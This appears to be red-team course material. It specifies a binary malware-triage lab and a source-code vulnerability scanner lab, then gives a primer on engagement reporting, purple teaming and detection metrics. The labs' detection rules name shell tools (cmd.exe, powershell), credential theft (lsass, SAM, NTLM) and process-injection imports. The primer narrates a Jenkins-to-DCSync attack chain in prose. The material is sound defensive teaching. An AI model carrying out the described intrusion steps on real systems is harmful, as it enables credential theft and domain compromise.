Safety. This lab is an analyzer over synthetic binary metadata dictionaries. There is no executable code, no shellcode, no working exploit, and no actual binary parsing. The input is a Python dict; the output is a structured FINDINGS report.
What You Will Build
Four functions that implement the Cedar Lattice Binary Triage Pipeline:
| Function | Input | Output |
|---|---|---|
high_entropy_sections(metadata) | binary metadata dict | list[str] — section names |
packer_detected(metadata) | binary metadata dict | str | bool — packer name or False |
suspicious_strings(strings_list) | list[str] | list[dict] — classified strings |
triage_report(metadata) | binary metadata dict | full report dict |
Metadata Schema
{
"file_type": "PE32+" | "ELF64" | str,
"architecture": "x86_64" | "i386" | str,
"sections": [
{"name": str, "entropy": float, "size": int}
],
"imports": [
{"dll": str, "function": str}
],
"exports": [str],
"strings": [str],
"pdb_path": str | None,
"timestamp": int,
"imphash": str | None,
"opsec_flags": [str], # optional
}
Function Specifications
high_entropy_sections(metadata)
Return a list of section name strings where entropy > 7.0.
High entropy (close to 8.0 bits/byte) indicates compressed, encrypted, or packed content.
packer_detected(metadata)
Return a packer identification string or a boolean:
| Condition | Return Value |
|---|---|
| Any section entropy > 7.0 and import count <= 3 | "likely_packed" |
Section named .UPX0 or .UPX1 | "UPX" |
Section named themida or .themida | "Themida" |
| None of the above | False |
Checks run in the order listed above. Return on first match.
suspicious_strings(strings_list)
Classify each string in strings_list. Return only strings that match at least one
category. Each result is a dict {string, category, severity}.
Categories (check in this order, first match wins):
| Category | Detection Rule | Severity |
|---|---|---|
"url" | starts with "http://" or "https://" | HIGH |
"ip_address" | matches IPv4 pattern: digits.digits.digits.digits | HIGH |
"shell_command" | contains "cmd.exe" or "powershell" (case-insensitive) | HIGH |
"base64_like" | length >= 20 and all chars in base64 alphabet (A-Za-z0-9+/=) | MEDIUM |
"high_entropy_str" | length >= 16, no spaces, not all hex chars | LOW |
Sort output by severity descending (HIGH then MEDIUM then LOW), then by string alphabetically within each severity group.
triage_report(metadata)
Produce a structured report dict:
{
"file_type": str,
"architecture": str,
"packer": str | bool,
"high_entropy_sections": list[str],
"suspicious_strings": list[dict],
"imphash": str | None,
"pdb_path": str | None,
"classification": str,
"opsec_flags": list[str],
}
Classification logic (first match wins):
| Classification | Condition |
|---|---|
"injector" | imports include NtAllocateVirtualMemory AND (NtWriteVirtualMemory OR WriteProcessMemory) |
"loader" | exports include "ReflectiveLoader" OR packer_detected() is truthy |
"credential_stealer" | strings contain "lsass", "SAM", or "NTLM" (case-insensitive) |
"dropper" | strings contain "http://" or "https://" AND packer_detected() is truthy |
"unknown" | none of the above |
opsec_flags comes from metadata.get("opsec_flags", []).
Files
| File | Purpose |
|---|---|
lab.py | Your implementation — stubs with NotImplementedError |
solution.py | Complete reference solution |
test_lab.py | 13 adversarial pytest tests |
requirements.txt | pytest>=7.0 |
Running the Tests
# Run against your stubs (expect NotImplementedError)
pytest -q
# Run against reference solution (all 13 should pass)
LAB_MODULE=solution pytest -q
Learning Objectives
After completing this lab you should be able to:
- Explain Shannon entropy and why values above 7.0 bits/byte indicate packing or encryption.
- Identify UPX and Themida packer signatures from section names and import table heuristics.
- Classify suspicious strings by behavioral category and assign severity.
- Map import table contents to likely malware classification (loader, injector, credential stealer, dropper).
- Produce a structured triage report that drives downstream analysis decisions.
« Phase 11 README | Lab 02 — Source Code Vuln Scanner
Lab 02 — Source Code Vulnerability Scanner
Operation Cedar Lattice, Phase 11.
Meridian Freight International runs a custom logistics management application. FIN-LATTICE has identified weaknesses in the codebase through a combination of phishing-delivered source files and a misconfigured internal Git server. Your job: scan the source code for exploitable patterns, classify each finding by CWE, and produce a prioritized vulnerability report. This lab implements a lightweight static analysis engine covering the three most common web application vulnerability classes.
Safety. This lab is a static pattern scanner over synthetic code strings. There is no code execution, no exploit payload generation, and no network access. The input is a list of code snippet dicts; the output is a structured FINDINGS report with CWE identifiers and severity levels.
What You Will Build
Five functions that implement the Cedar Lattice Source Code Triage Pipeline:
| Function | Input | Output |
|---|---|---|
sql_injection_patterns(code) | source code string | list[dict] — line-level findings |
command_injection_patterns(code) | source code string | list[dict] — line-level findings |
path_traversal_patterns(code) | source code string | list[dict] — line-level findings |
scan_snippet(snippet) | code snippet dict | list[dict] — CWE-enriched findings |
severity_rank(findings) | findings list | sorted findings list |
Snippet Schema
snippet = {
"language": "python", # language hint (informational)
"code": str, # source code to scan
"context": str, # human-readable context (module name, purpose)
}
Function Specifications
sql_injection_patterns(code)
Scan line by line. A line is flagged if it contains both:
- A SQL keyword:
SELECT,INSERT,UPDATE,DELETE, orWHERE(case-insensitive) - A string-interpolation marker:
" + "," % ",.format(, or an f-string variable marker{
Return {line_hint: int, pattern_type: "sql_string_concat", severity: "CRITICAL"} for
each matching line. line_hint is 1-indexed.
command_injection_patterns(code)
Scan line by line. Flag each line matching:
| Pattern | Detection Rule | Severity |
|---|---|---|
os_system | line contains "os.system(" | HIGH |
subprocess_shell_true | line contains "shell=True" and is not a comment | HIGH |
eval_call | line contains "eval(" | HIGH |
Return {line_hint: int, pattern_type: str, severity: "HIGH"} for each match.
path_traversal_patterns(code)
Scan line by line. Flag each line matching:
| Pattern | Detection Rule | Severity |
|---|---|---|
open_string_concat | line contains "open(" AND ("+" OR ".format(" OR "{") | MEDIUM |
path_join_user_input | line contains "os.path.join(" AND ("request" OR "input" OR "param" OR "args") | MEDIUM |
Return {line_hint: int, pattern_type: str, severity: "MEDIUM"} for each match.
scan_snippet(snippet)
Run all three pattern scanners on snippet["code"]. Enrich each finding with CWE info:
| pattern_type | CWE | name |
|---|---|---|
sql_string_concat | 89 | "SQL Injection" |
subprocess_shell_true, os_system, eval_call | 78 | "Command Injection" |
open_string_concat, path_join_user_input | 22 | "Path Traversal" |
Return combined list sorted by severity (CRITICAL first, then HIGH, then MEDIUM)
then by line_hint ascending.
severity_rank(findings)
Sort findings by severity: CRITICAL first, HIGH second, MEDIUM third, LOW last.
Within the same severity, sort by line_hint ascending.
Files
| File | Purpose |
|---|---|
lab.py | Your implementation — stubs with NotImplementedError |
solution.py | Complete reference solution |
test_lab.py | 12 adversarial pytest tests |
requirements.txt | pytest>=7.0 |
Running the Tests
# Run against your stubs (expect NotImplementedError)
pytest -q
# Run against reference solution (all 12 should pass)
LAB_MODULE=solution pytest -q
Learning Objectives
After completing this lab you should be able to:
- Identify SQL injection patterns from string concatenation and f-string interpolation.
- Distinguish dangerous subprocess / shell invocation patterns from safe alternatives.
- Explain why
os.path.join()with user-supplied input requiresos.path.realpath()validation. - Assign CWE identifiers to common vulnerability classes.
- Prioritize findings by severity for efficient remediation triage.
« Lab 01 — Binary Triage Engine | « Phase 11 README
Phase 12: Reporting, Purple Teaming, and Staff Communication
Operation Cedar Lattice — Final Delivery Target: Meridian Freight International | Actor Emulated: FIN-LATTICE Phase 12 closes the engagement. The binary is delivered; the adversary is attributed; the detections are validated. Now the team writes the report, runs the purple team replay, and briefs leadership. This phase is the product.
Safety Statement
This phase contains no offensive content. All labs operate on structured data (Python dicts representing findings and exercise results). No exploitation, no payloads, no network traffic. The phase is entirely professional delivery: writing, metrics, and communication.
Table of Contents
Why This Phase
The report is not a formality — it is the engagement's only durable output. Every escalated privilege, every pivoted segment, every bypassed control disappears when the team disconnects. What remains is the report. If the report is weak, the engagement was weak, regardless of what the team achieved technically.
Purple teaming closes the loop that traditional red teaming leaves open. A finding in a PDF that no blue-team analyst ever validates is a finding that may never get fixed. Purple teaming turns "we found it" into "we confirmed the detection fires" — the only outcome that actually reduces organizational risk.
Staff communication — translating T1190 / CVSS 9.8 into "an attacker who finds this endpoint can own your domain controller in 15 minutes and walk out with 42TB of customer shipping data subject to GDPR Article 83 fines" — is what converts a technical exercise into executive action. Without it, even a perfect report gathers dust.
Learning Objectives
- Structure a Mandiant-style engagement report with all eight required sections.
- Apply the nine-field finding quality bar so every finding is self-contained and actionable.
- Map findings to ATT&CK sub-techniques and explain the Detection-Gap Matrix.
- Execute a purple team replay loop: execute → validate → gap-close → re-execute.
- Compute and interpret precision, recall, F1, MTTD, and detection coverage % from purple team exercise data.
- Use VECTR to track technique coverage across quarters and trend improvement.
- Translate technical findings into business risk language appropriate for a CFO or board-level briefing.
Cedar Lattice Artifact
At the end of Phase 12 the Cedar Lattice team delivers:
Final Engagement Report — Meridian Freight International
Operation Cedar Lattice
Red Team Assessment Report
Client: Meridian Freight International
Engagement Window: [fictional dates]
Classification: CLIENT CONFIDENTIAL
Sections:
1. Executive Summary (2 pages)
2. Engagement Overview (scope, RoE, team)
3. Attack Narrative (Cedar Lattice chronological timeline)
4. Findings (8 findings, prioritized by CVSS + business risk)
5. Detection-Gap Matrix (23 techniques tested; 9 undetected)
6. Remediation Roadmap (30/60/90-day plan)
7. Purple Team Replay Results (VECTR export)
8. Appendices (redacted evidence)
The executive summary leads with: "FIN-LATTICE successfully compromised Meridian Freight's domain controller within 6 days of initial access, gaining read access to all shipping manifest databases. No alert fired during the dwell period. This report documents the attack path, identifies nine detection gaps, and provides a 90-day remediation roadmap."
Labs
| Lab | Topic | Key Skills |
|---|---|---|
| lab-01-report-quality-linter | Report Finding Linter | Nine-field completeness check, severity validation, ATT&CK ID format, detection rule type, remediation timeline |
| lab-02-purple-team-coverage | Purple Team Coverage Scorer | Precision, recall, F1, detection coverage %, top gaps, FP rate, exercise summary |
How to Run
Prerequisites
pip install pytest
Lab 1 — Report Quality Linter
cd lab-01-report-quality-linter
# Stubs: expect NotImplementedError
pytest -q
# Reference solution: expect all pass
LAB_MODULE=solution pytest -q
Lab 2 — Purple Team Coverage Scorer
cd lab-02-purple-team-coverage
# Stubs: expect NotImplementedError
pytest -q
# Reference solution: expect all pass
LAB_MODULE=solution pytest -q
Navigation
- Previous: Phase 11 — Threat Intelligence Integration
- This is the final phase of the Red Team Engineer curriculum.
Operation Cedar Lattice — Cedar Lattice Phase 12 of 12.
WARMUP — Phase 12: Reporting, Purple Teaming, and Staff Communication
Operation Cedar Lattice — Phase 12 Pre-Lab Primer This guide builds the conceptual foundation before you touch any code. Read it completely before opening a lab file.
Table of Contents
- Chapter 1: Engagement Report Structure
- Chapter 2: Finding Quality Bar
- Chapter 3: Purple Team Methodology
- Chapter 4: VECTR Tracking
- Chapter 5: Executive Communication
- Chapter 6: Detection Metrics
- Chapter 7: Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes
- Interview Q&A
- References
Chapter 1: Engagement Report Structure
Why Structure Matters
A red team report is not a dump of terminal output. It is a professional document with a single purpose: to cause organizational change. Every structural decision — ordering, section depth, writing style — is in service of that goal. The Mandiant M-Trends report format (refined over two decades of incident response and red team engagements) provides a proven skeleton. Understanding why each section exists is as important as knowing what goes in it.
The Eight-Section Structure
Engagement Report: Meridian Freight International
Operation Cedar Lattice
──────────────────────────────────────────────────
1. Executive Summary (1–2 pages)
2. Engagement Overview (scope, dates, RoE, team)
3. Attack Narrative (chronological story)
4. Findings (prioritized by CVSS + business risk)
5. Detection-Gap Matrix (which techniques fired vs. went dark)
6. Remediation Roadmap (30/60/90-day plan)
7. Purple Team Replay (detection validation results)
8. Appendices (raw evidence, logs, screenshots — redacted)
──────────────────────────────────────────────────
Total estimated length: 40–80 pages depending on finding count
Section 1: Executive Summary
Purpose: Give a non-technical reader the five most important facts about the engagement in two pages or fewer.
What it contains:
- One-paragraph business risk statement: what happened, to what systems, with what potential impact
- Top three findings (names only, with severity tags)
- The single most critical attack path (in plain English, no jargon)
- Remediation priority: what leadership needs to authorize this week
- Positive observations (what worked — if anything did)
What it does NOT contain:
- CVE numbers
- Tool names
- Log excerpts
- ATT&CK technique IDs (unless explained inline)
The executive summary is written last, after all findings are complete. It is the only section most executives will read. Every word must justify its existence.
Cedar Lattice example opening:
"During a six-day simulated intrusion against Meridian Freight International, the red team achieved domain controller compromise without triggering a single alert. An attacker replicating this path could gain access to all 42TB of shipping manifest databases — including customer PII — within hours of initial access. Nine of the 23 attack techniques tested produced no detection signal. This report documents the attack path, the detection gaps, and the 90-day remediation plan required to close them."
Section 2: Engagement Overview
Purpose: Establish the rules of the test so readers can evaluate the findings in context.
What it contains:
- Scope: in-scope IP ranges, domains, cloud accounts, and out-of-scope systems
- Engagement window: start date, end date, active testing hours
- Rules of engagement (RoE): what was prohibited, what required advance notification
- Methodology: what framework was followed (MITRE ATT&CK, PTES, custom)
- Team: roles (operator, team lead, reporting lead) — no individual names in client-facing docs unless agreed
- Limitations: what could not be tested and why (e.g., production systems excluded, no physical access)
Section 3: Attack Narrative
Purpose: Tell the story of the engagement chronologically so defenders can map it to their telemetry and understand the sequencing.
What it contains:
- Timeline: Day 1 / Hour 0 through final objective
- Each major action described in one to three sentences
- Technique references in parentheses:
(ATT&CK T1190: Exploit Public-Facing Application) - Lateral movement steps clearly marked
- Pivots identified with the source and destination host (anonymized if needed)
Cedar Lattice narrative excerpt:
Day 1, 09:14: Cedar Lattice identified an unauthenticated Jenkins instance at
jenkins.meridianfreight-internal.exampleexposed via a misconfigured reverse proxy. Exploitation of the Groovy script console (T1190) provided immediate code execution assvc_jenkinson the build server.Day 1, 11:32: Credential harvesting from Jenkins credential store (T1552.001) yielded twelve service account passwords in plaintext, including
svc_deploywith domain administrator privileges.Day 2, 08:55: Using
svc_deploy, the team performed a DCSync attack (T1003.006) againstdc01.meridianfreight-internal.example, extracting all domain hashes without requiring interactive logon to the domain controller.
The attack narrative is the section blue teamers use to replay the timeline against their SIEM. It must be precise enough to answer: "at what time, from what IP, to what destination, using what protocol?"
Section 4: Findings
Purpose: Document each discrete vulnerability or security gap as a standalone, actionable artifact.
How findings are ordered:
Findings are NOT sorted by CVSS score alone. They are sorted by a combination of:
- Severity class (CRITICAL → HIGH → MEDIUM → LOW)
- Business impact within the same severity class (data exposure > availability > reputational)
- Exploitability (remotely exploitable, no auth > requires auth > requires local access)
A CVSS 9.8 finding on an internal-only test server ranks lower than a CVSS 7.5 finding on the public-facing booking API that processes credit card data. Context always overrides raw score.
Example table of contents for Findings section:
4. Findings
4.1 [CRITICAL] Unauthenticated RCE — Jenkins Groovy Console (T1190)
4.2 [CRITICAL] Domain Credential Exposure — Jenkins Credential Store (T1552.001)
4.3 [HIGH] DCSync via Overprivileged Service Account (T1003.006)
4.4 [HIGH] LLMNR/NBT-NS Poisoning — No Enforcement Controls (T1557.001)
4.5 [HIGH] Kerberoastable Service Accounts — SPN Misconfigurations (T1558.003)
4.6 [MEDIUM] Missing MFA on VPN Concentrator (T1078)
4.7 [MEDIUM] Cleartext Credentials in Git Repository (T1552.003)
4.8 [LOW] Verbose Error Pages — Internal Stack Traces Exposed (T1592)
Each finding is its own complete artifact — see Chapter 2 for the required fields.
Section 5: Detection-Gap Matrix
Purpose: Show, at a glance, which ATT&CK techniques fired a detection and which went dark.
| Technique | Name | Tool Used | Detected? | Alert Source |
|------------------|-----------------------------|-----------------|-----------|-------------------|
| T1190 | Exploit Public-Facing App | Custom HTTP req | NO | — |
| T1552.001 | Credentials in Files | Mimikatz-like | NO | — |
| T1003.006 | DCSync | Impacket | NO | — |
| T1557.001 | LLMNR Poisoning | Responder-like | NO | — |
| T1558.003 | Kerberoasting | Custom | PARTIAL | AD audit log |
| T1078 | Valid Accounts | VPN login | YES | SIEM rule: VPN-01 |
| T1021.001 | Remote Desktop Protocol | Built-in | YES | SIEM rule: RDP-02 |
The Detection-Gap Matrix drives the remediation roadmap. Techniques marked "NO" are the prioritized detection gaps.
Section 6: Remediation Roadmap
Purpose: Give a time-boxed, owner-assigned plan that leadership can approve and track.
30-Day Actions (Immediate Risk Reduction):
- Restrict Jenkins to internal network; enforce authentication [Owner: Platform Eng]
- Rotate all credentials stored in Jenkins credential store [Owner: Platform Eng]
- Deploy LLMNR/NBT-NS suppression via GPO [Owner: Active Directory team]
60-Day Actions (Detection Coverage):
- Deploy Sigma rules for DCSync detection in SIEM [Owner: Security Operations]
- Enable Advanced Audit Policy for credential access events [Owner: Active Directory team]
- Enforce MFA on VPN concentrator [Owner: Network Engineering]
90-Day Actions (Systemic Hardening):
- Implement tiered administration model; remove service accounts from Domain Admins
- Complete secret rotation cycle (rotate all service account passwords quarterly)
- Purple team replay: re-execute Cedar Lattice techniques to validate detection coverage
Section 7: Purple Team Replay
Purpose: Document which detections were validated during the purple team exercise.
This section is populated after the purple team exercise (see Chapter 3). It answers: "for each detection gap identified, has a detection now been written and validated?"
Section 8: Appendices
Purpose: Provide evidence without cluttering the main document.
- Appendix A: Screenshots (redacted to remove credentials)
- Appendix B: Tool output excerpts (relevant lines only)
- Appendix C: Raw log samples
- Appendix D: ATT&CK Navigator export (JSON)
- Appendix E: VECTR export
Chapter 2: Finding Quality Bar
The Nine Required Fields
A finding is not complete until all nine fields are present, non-empty, and meet the quality criteria below.
Finding: [Title]
──────────────────────────────────────────
Severity: [CRITICAL | HIGH | MEDIUM | LOW | INFORMATIONAL]
ATT&CK ID: [T#### or T####.###]
Precondition: [What must be true for this to be exploitable]
Evidence: [Reference to appendix screenshot or log excerpt, ≥ 20 chars]
Impact: [Specific business impact]
Detection: [What should have caught this — Sigma rule name or log source + condition]
Remediation: [Specific, testable action with owner and timeline]
Residual Risk: [What risk remains after remediation]
Field-by-Field Requirements
Title: Must contain an action verb, an asset, and an implied impact. Not "SQL Injection Found" — that describes a vulnerability class. Instead: "Unauthenticated SQL Injection in Booking API Exposes Full Customer Database."
Checklist:
- Contains an action verb (exploits, exposes, bypasses, enables, allows)
- Names the specific asset (Jenkins Groovy Console, not "CI/CD server")
- Implies or states the impact (Domain Compromise, PII Exposure, Authentication Bypass)
- At least five words (four-word titles are almost always too vague)
Severity: Must be one of CRITICAL / HIGH / MEDIUM / LOW / INFORMATIONAL and must be justified in narrative. The CVSS base score is the starting point, not the final answer. A CVSS 9.8 on an air-gapped system is HIGH at most in context. A CVSS 6.5 on the authentication endpoint of a payment processor may be CRITICAL in context.
ATT&CK ID: Must reference a specific technique or sub-technique. Format: T1234 or T1234.001. Tactic IDs (TA0001) are not valid here — they describe goals, not techniques.
Precondition: What must be true for an attacker to exploit this? Examples:
- "Attacker has network access to port 8080 on the build server (no authentication required)"
- "Attacker has any valid domain user account"
- "Attacker has compromised a single endpoint in the finance VLAN"
Without a precondition, the reader cannot assess exploitability.
Evidence: A reference to a specific appendix item or a quoted log line. Not "we observed this" — "Screenshot B-3: HTTP 200 response from /script endpoint with Groovy output (Appendix B, page 12)." Minimum 20 characters; placeholder strings like "yes" or "see logs" are rejected.
Impact: Specific business impact. Not "attacker can read sensitive data." Instead: "Attacker can read all 42TB of shipping manifest data including customer names, addresses, and shipment contents. This data is subject to GDPR Article 5 and a breach would trigger mandatory notification under Article 33 within 72 hours."
Detection: What specific detection would have caught this? Must reference a rule type: Sigma rule name, Splunk search name, KQL query, auditd rule, Sysmon event ID, CloudTrail event, Zeek script, Falco rule, or SIEM alert name. "Check the logs" is not a detection.
Remediation: Specific, testable action with owner and timeline. Not "fix the configuration." Instead: "Restrict the Jenkins instance to the internal 10.10.0.0/16 network via firewall rule and enable LDAP authentication within 48 hours. Owner: Platform Engineering team. Verify by attempting unauthenticated access from external IP."
Residual Risk: What risk remains after the remediation is applied? Not "no risk." Instead: "Internal threat actors or attackers who have already achieved internal access can still reach Jenkins. Network segmentation and the tiered administration model in the 90-day roadmap are required to close this residual risk."
Complete Finding Example
Finding: Unauthenticated RCE via Exposed Jenkins Groovy Console
──────────────────────────────────────────────────────────────────
Severity: CRITICAL (CVSS 3.1 Base: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Narrative: Remotely exploitable with no authentication; immediate code
execution as service account; no user interaction required.
ATT&CK ID: T1190 (Exploit Public-Facing Application)
Precondition: Jenkins instance at jenkins.meridianfreight-internal.example is
reachable from the internet via a misconfigured reverse proxy. No
authentication is required to access the /script endpoint.
Evidence: Screenshot B-1 (Appendix B, p. 4): HTTP POST to /script returned
HTTP 200 with Groovy output showing hostname, current user (svc_jenkins),
and OS version. Log excerpt L-2 (Appendix C, p. 18): web server access
log confirms unauthenticated POST from external IP.
Impact: Code execution as svc_jenkins enables credential harvesting from Jenkins
credential store (see Finding 4.2). This account held 12 service account
passwords including svc_deploy (Domain Administrator). Full domain
compromise is achievable within 2 hours of exploiting this finding.
Meridian Freight's shipping manifest database (42TB, customer PII) is
accessible from the domain controller.
Detection: No detection fired. Expected: Sigma rule "Unauthenticated POST to Jenkins
/script" (detect POST requests to /script without Authorization header in
web server or reverse proxy logs). Current state: web server logs are not
forwarded to SIEM.
Remediation: (1) Restrict Jenkins to internal network 10.10.0.0/16 via firewall ACL
within 48 hours. Owner: Platform Engineering. (2) Enable LDAP
authentication on Jenkins within 48 hours. Owner: Platform Engineering.
(3) Forward web server access logs to SIEM and deploy Sigma rule within
2 weeks. Owner: Security Operations. Verify by attempting unauthenticated
HTTP POST to /script from external IP after firewall change.
Residual Risk: Internal users and attackers with internal access can still reach
Jenkins after network restriction. The 90-day tiered administration
model and quarterly credential rotation are required to eliminate
residual risk from an internal threat actor.
Chapter 3: Purple Team Methodology
What Purple Teaming Is
Purple teaming is red and blue working together in the same room (or the same call) to validate whether detections fire against real attack techniques. The goal is not to "win" — it is to produce a measurable improvement in detection coverage before the engagement closes.
Traditional red team: red executes, writes a report, blue reads the PDF three months later and maybe writes a detection rule, never validated against the actual technique.
Purple team: red executes a technique, blue watches the SIEM in real-time, together they determine whether the alert fired within the defined "detected" threshold (TP + alert within 5 minutes), and if it did not, blue writes the detection rule and red re-executes to validate it.
The output is not a PDF finding — it is a detection rule that demonstrably fires against the technique that was just executed.
The Six-Step Purple Team Process
Step 1: Pre-exercise alignment
Before any technique is executed:
- Export the technique list from ATT&CK Navigator as a JSON matrix
- Define "detected" criteria with the blue team: for this exercise, "detected" = TP alert fires within 5 minutes of execution start
- Agree on the environment: production-equivalent staging, or production with monitoring-only
- Confirm VECTR is configured and blue team has access
Step 2: Execute in isolation
Red executes the technique exactly as during the original engagement. Blue does not interfere. The technique runs to completion or until the defined stopping condition.
Step 3: Validate together
Red and blue review the SIEM, EDR console, and any other telemetry source together. For each technique:
- Did an alert fire? (TP or FP?)
- Did it fire within the 5-minute threshold?
- Was the alert actionable (did it contain enough context for an analyst to triage)?
Outcome is one of: DETECTED / NOT DETECTED / DETECTED-PARTIAL (rule fired but insufficient fidelity).
Step 4: Document in VECTR
For each technique, create a VECTR test case entry:
- Technique: ATT&CK ID and name
- Outcome: DETECTED / NOT DETECTED / PARTIAL
- Detection rule name (if fired)
- Notes: what fired, what didn't, what the analyst would have seen
Step 5: Gap-close
For every NOT DETECTED technique:
- Blue writes a detection rule in the SIEM (Sigma rule, KQL query, Splunk search)
- Red and blue review the rule logic together for accuracy
- Blue deploys the rule to the SIEM in audit mode
Step 6: Re-execute and replay
Red re-executes the technique. Blue confirms the new rule fires as a TP. The VECTR entry is updated to DETECTED. This is the only outcome that closes the loop — a detection rule that has not been validated against the technique it is supposed to detect is a hypothesis, not a control.
Traditional Red Team vs. Purple Team
| Dimension | Traditional Red Team | Purple Team |
|---|---|---|
| Collaboration | None during execution | Real-time, technique by technique |
| Outcome | PDF report | Validated detection rules |
| Detection validation | "We weren't detected" in report | Blue team confirms alert fires |
| Time to close gap | Months (report → ticket → rule → maybe) | Hours (same session) |
| VECTR entries | N/A | One per technique tested |
| Blue team awareness | Learned from report | Learned in real-time |
| Adversarial dynamic | Red "wins" by evading | No winner; coverage improves |
What "Detected" Means
A technique is "detected" if and only if:
- A TP alert fired (not a FP on similar activity)
- The alert fired within the defined threshold (5 minutes for Cedar Lattice)
- The alert contains enough context for a tier-1 analyst to triage without additional investigation
All three conditions must be true. An alert that fires 3 hours after execution is not a detection — it is evidence of poor MTTD. An alert that fires immediately but contains only a raw process hash with no context is not actionable.
Chapter 4: VECTR Tracking
What VECTR Is
VECTR (Visualization, Execution, and Tracking for Testing and Reporting) is an open-source platform for tracking purple team and red team exercise outcomes over time. It provides a structured data model for campaigns, test cases, and outcomes, and generates coverage trend reports across quarters.
VECTR data model:
Organization
└── Assessment (quarterly purple team exercise)
└── Campaign (e.g., "Cedar Lattice Q2 2026")
└── Test Case (one per ATT&CK technique tested)
├── Technique: T1190
├── Outcome: NOT DETECTED
├── Detection Rule: (none)
└── Notes: "Jenkins /script endpoint, no web log forwarding to SIEM"
How VECTR Is Used
During the purple team exercise: One operator keeps VECTR open and logs each technique as it is executed and validated. The test case is not closed until the outcome is confirmed by both red and blue.
After the exercise: VECTR generates a coverage report: of the N techniques tested, what fraction were detected? This is the "detection coverage %" for the quarter.
Across quarters: VECTR's trend view shows detection coverage % by quarter. A mature security program should show monotonic improvement — each quarter's purple team exercise should reveal fewer undetected techniques than the previous quarter's replay.
Scoring methodology:
- Coverage % = (detected + detected-partial×0.5) / total techniques tested
- Partial credit (0.5) for rules that fire but with insufficient fidelity
- Target: >85% coverage for Tier 1 techniques (most common TA TTPs)
- Baseline for new programs: expect 30–50% coverage at start
VECTR vs. ATT&CK Navigator
ATT&CK Navigator shows which techniques you have coverage for in theory (based on tool inventory or policy). VECTR shows which techniques you have validated coverage for in practice (based on purple team execution). Navigator answers "what should detect this?" VECTR answers "what actually detected this when we tested it last quarter?"
Chapter 5: Executive Communication
The Translation Problem
Every technical finding must be translated into business risk before reaching an executive. The translation is not simplification — it is precision at a different abstraction level. The technical fact and the business risk are both true and both precise; they are simply expressed in different vocabularies.
| Technical Statement | Business Risk Statement |
|---|---|
| "Privilege escalation via unpatched kernel module" | "Any employee's laptop is a foothold to domain controller access within 15 minutes" |
| "LLMNR poisoning — no enforcement" | "An attacker on the office Wi-Fi can silently capture credentials from every Windows workstation without touching them" |
| "Jenkins credential store — plaintext secrets" | "Your build pipeline contains the master keys to your entire production environment, stored in a format any attacker who reaches the build server can read in seconds" |
| "DCSync attack — no alert" | "An attacker with one overprivileged service account can extract every password hash in the company without touching the domain controller — and your SIEM would show nothing" |
Financial Impact Framework
Use concrete numbers wherever possible. Executives make risk decisions based on expected value, not severity labels.
IBM Cost of a Data Breach 2024: Average total cost: $4.88M per breach. Healthcare: $9.77M. Financial services: $6.08M. For a company of Meridian Freight's profile (logistics, processing customer PII), a realistic breach cost estimate is $3–5M.
GDPR Article 83: Fines up to 4% of global annual turnover or €20M, whichever is higher. For Meridian Freight International with estimated revenue of €800M, maximum exposure is €32M.
Operational disruption: If the domain controller is compromised, how long until logistics operations halt? Cedar Lattice estimate for Meridian: 72–96 hours of partial outage during incident response. Cost estimate based on revenue per day.
Formula for executive brief:
Risk exposure = Likelihood × Impact
Where:
Likelihood = "demonstrated in 6 days with one entry point"
Impact = $4.88M breach cost + €32M max regulatory fine + 3 days disruption
Three-Slide Exec Readout Structure
Slide 1: What Happened (in English)
"During six days of simulated attack, our team reached the domain controller — the master key to all of Meridian's systems — without triggering a single alert. This is not a hypothetical risk. We demonstrated it."
No jargon. No ATT&CK IDs. One clear statement of what was achieved and why it matters.
Slide 2: Top Three Risks With Business Impact
1. [CRITICAL] Any internet-facing Jenkins server → full domain access in 2 hours
Business risk: Complete loss of all shipping manifests + $4.88M breach exposure
2. [CRITICAL] Service account passwords stored in plaintext in build pipeline
Business risk: Production database credentials accessible to any attacker on internal network
3. [HIGH] No alert fired during 6-day engagement (9 of 23 techniques undetected)
Business risk: Current SOC cannot detect an active intrusion using common TTPs
Slide 3: What You Need From Leadership
This week (requires CTO + CISO approval):
- Emergency firewall change: isolate Jenkins from internet
- Emergency credential rotation: all service accounts
Within 30 days (requires budget approval):
- Security Operations remediation sprint (see roadmap, Section 6)
Within 90 days (requires board visibility):
- Purple team replay to validate detection improvements
- Tiered administration model implementation
Common Exec Questions
"How does this compare to our peers?" Use industry benchmark data: IBM M-Trends 2024 shows mean dwell time of 10 days for red team engagements. Cedar Lattice achieved full domain access in 6 days, which is on the faster end of the distribution. This is not a commentary on Meridian's team — it reflects the specific configuration gaps identified.
"Are we actually being attacked right now?" Answer honestly: "We cannot confirm or deny an active intrusion — that is outside the scope of this engagement. What we can say is that if an attacker used any of these techniques, your current detection stack would not alert. We recommend an immediate threat hunt focused on the techniques in the Detection-Gap Matrix."
"What is the single most important thing to fix?" Cedar Lattice answer: "Isolate Jenkins from the internet today. This one change eliminates the initial access vector that made everything else possible. The rest of the roadmap is important, but this is the one that reduces your risk exposure the most in the least time."
"How confident are you in the severity ratings?" Answer: "Each severity rating is based on CVSS 3.1 base score adjusted for business context — including your data classification, regulatory exposure, and the specific network topology we observed. We are confident in the CRITICAL and HIGH ratings. The MEDIUM and LOW ratings could be re-evaluated if you provide additional context about business criticality of affected systems."
Chapter 6: Detection Metrics
The Confusion Matrix for Security
Every detection rule produces four possible outcomes for each event it evaluates:
Reality
Attack | No Attack
Alert Fired TP | FP
────┼────────────────────
No Alert FN | TN
TP (True Positive): Alert fired AND an attack was happening. The detection worked.
FP (False Positive): Alert fired BUT no attack was happening. Alert fatigue: analysts learn to ignore this rule.
FN (False Negative): Attack happened AND the alert did NOT fire. The dangerous one. The breach you did not see.
TN (True Negative): No attack, no alert. The rule correctly stayed quiet.
Precision
Precision = TP / (TP + FP)
Of all the times this rule fired an alert, what fraction were real attacks?
A rule with precision 0.05 fires 20 false positives for every real attack. Analysts learn to ignore it. When the real attack comes, they dismiss the alert as another false positive.
Precision is about alert quality. Low precision = alert fatigue = missed real attacks.
Recall
Recall = TP / (TP + FN)
Of all the real attacks that occurred, what fraction did the rule catch?
A rule with recall 0.3 misses 70% of real attacks. It might have perfect precision (every alert it fires is a real attack), but it only fires on 30% of the attacks that happen.
Recall is about coverage. Low recall = missed attacks = successful breaches.
F1 Score
F1 = 2 × (Precision × Recall) / (Precision + Recall)
The harmonic mean of precision and recall. Ranges from 0.0 (worst) to 1.0 (perfect).
